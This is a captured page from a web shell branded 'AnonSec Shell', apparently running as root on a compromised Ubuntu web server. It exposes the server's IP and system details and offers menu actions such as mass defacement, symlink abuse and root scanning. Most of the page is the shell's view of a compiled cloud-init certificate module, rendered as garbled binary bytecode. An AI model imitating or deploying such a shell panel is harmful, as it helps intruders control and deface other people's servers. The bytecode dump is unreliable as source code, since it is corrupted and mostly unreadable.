AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/config/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/config/__pycache__/cc_ca_certs.cpython-310.pyc
o

x[h�"�
@slUdZddlZddlZddlmZmZmZddlmZddl	m
Z
ddlmZddl
mZe�e�Zddd	d
dgd�Zd
d
dddgd�dddddgd�dddddgd�dddddgd�dd
dddgd�d�ZdD]Zedee<qhdD]Zedee<qsgd�Zdeed d!gd"�Zeed#<d$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.d/�Zd0ed1e
d2ed3ed4df
d5d6�Z dS)7zCA Certs: Add ca certificates.�N)�	lifecycle�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEz!/usr/local/share/ca-certificates/z#cloud-init-ca-cert-{cert_index}.crtz/etc/ca-certificates.confzupdate-ca-certificates)�ca_cert_path�ca_cert_local_path�ca_cert_filename�ca_cert_config�ca_cert_update_cmdz/etc/ssl/certs/z#cloud-init-ca-cert-{cert_index}.pemz+/etc/ca-certificates/conf.d/cloud-init.confzupdate-ca-bundlez/etc/pki/ca-trust/z/usr/share/pki/ca-trust-source/z+anchors/cloud-init-ca-cert-{cert_index}.crtzupdate-ca-trustz/etc/pki/trust/z/usr/share/pki/trust/z/etc/pki/tls/certs/zrehash_ca_certificates.sh)�aosc�fedora�rhel�opensuse�photon)�opensuse-microos�opensuse-tumbleweed�
opensuse-leap�sle_hpc�	sle-micro�slesr)�	almalinux�
cloudlinuxr)rrr�alpine�debianrrrrrrrrr�ubuntur�cc_ca_certs�ca_certs�ca-certs)�id�distros�	frequency�activate_by_schema_keys�metacCs*t�|t�}tj�|d|d�|d<|S)z�Return a distro-specific ca_certs config dictionary

    @param distro_name: String providing the distro class name.
    @returns: Dict of distro configurations for ca_cert.
    r
r�ca_cert_full_path)�DISTRO_OVERRIDES�get�DEFAULT_CONFIG�os�path�join)�distro_name�cfg�r/�>/usr/lib/python3/dist-packages/cloudinit/config/cc_ca_certs.py�_distro_ca_certs_configsjs
�r1cCstj|ddd�dS)z�
    Updates the CA certificate cache on the current machine.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    r
F)�captureN)r��
distro_cfgr/r/r0�update_ca_certswsr5cCsH|sdSt|d�D]\}}t|�}|dj|d�}tj||dd�q	dS)a-
    Adds certificates to the system. To actually apply the new certificates
    you must also call the appropriate distro-specific utility such as
    L{update_ca_certs}.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    @param certs: A list of certificate strings.
    N�r&)�
cert_indexi�)�mode)�	enumerate�str�formatr�
write_file)r4�certsr7�c�cert_file_contents�cert_file_namer/r/r0�add_ca_certs�s	��rAcCsJ|dvr
t|�dS|dvr!t|�|dvr#d}tjd|d�dSdSdS)a.
    Disables all default trusted CA certificates. For Alpine, Debian and
    Ubuntu to actually apply the changes you must also call
    L{update_ca_certs}.

    @param distro_name: String providing the distro class name.
    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    )rr)rrrr)rrz8ca-certificates ca-certificates/trust_new_crts select no)zdebconf-set-selections�-)�dataN)�remove_default_ca_certs�disable_system_ca_certsr)r-r4�debconf_selr/r/r0�disable_default_ca_certs�s	��rGcCs�|d}|rtj�|�sdSd}d}t�|�jrat�|�}g}|��D].}||kr1d}|�|�q#|dks;|ddvrA|�|�q#|sJ|�|�d}|�d	|�q#tj	|d
�
|�d
dd�dSdS)
z�
    For every entry in the CA_CERT_CONFIG file prefix the entry with a "!"
    in order to disable it.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    rNz;# Modified by cloud-init to deselect certs due to user-dataFT�r)�#�!rJ�
�wb)�omode)r*r+�exists�stat�st_sizer�load_text_file�
splitlines�appendr<r,)r4�ca_cert_cfg_fn�header_comment�added_header�orig�	out_lines�liner/r/r0rE�s.�


��rEcCs:|ddurdSt�d�t�|d�t�|d�dS)z�
    Removes all default trusted CA certificates from the system.

    @param distro_cfg: A hash providing _distro_ca_certs_configs function.
    r	NzDeleting system CA certificatesr
)�LOG�debugr�delete_dir_contentsr3r/r/r0rD�s

rD�namer.�cloud�args�returncCs�d|vr
tjdddd�nd|vrt�d|�dSd|vr&d|vr&t�d	�|�d|�d��}t|jj�}d
|vrAtjdddd�|�d
|�d
d��rWt�d�t	|jj|�d|vrpt
�|d�}|rpt�dt|��t
||�t�d�t|�dS)au
    Call to handle ca_cert sections in cloud-config file.

    @param name: The module name "ca_cert" from cloud.cfg
    @param cfg: A nested dict containing the entire cloud config contents.
    @param cloud: The L{CloudInit} object in use.
    @param log: Pre-initialized Python logger object to use for logging.
    @param args: Any module arguments from cloud.cfg
    r zKey 'ca-certs'z22.1zUse 'ca_certs' instead.)�
deprecated�deprecated_version�
extra_messagerz<Skipping module named %s, no 'ca_certs' key in configurationNzMFound both ca-certs (deprecated) and ca_certs config keys. Ignoring ca-certs.zremove-defaultszKey 'remove-defaults'zUse 'remove_defaults' instead.�remove_defaultsFz'Disabling/removing default certificates�trustedzAdding %d certificateszUpdating certificates)r�	deprecaterZr[�warningr(r1�distror]rGr�get_cfg_option_list�lenrAr5)r]r.r^r_�ca_cert_cfgr4�
trusted_certsr/r/r0�handle�sH
�����


rm)!�__doc__�loggingr*�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�	getLogger�__name__rZr)r'rhr"r%�__annotations__r1r5rArGrErDr:�listrmr/r/r/r0�<module>s~
�	������&�
	'"

Anon7 - 2022
AnonSec Team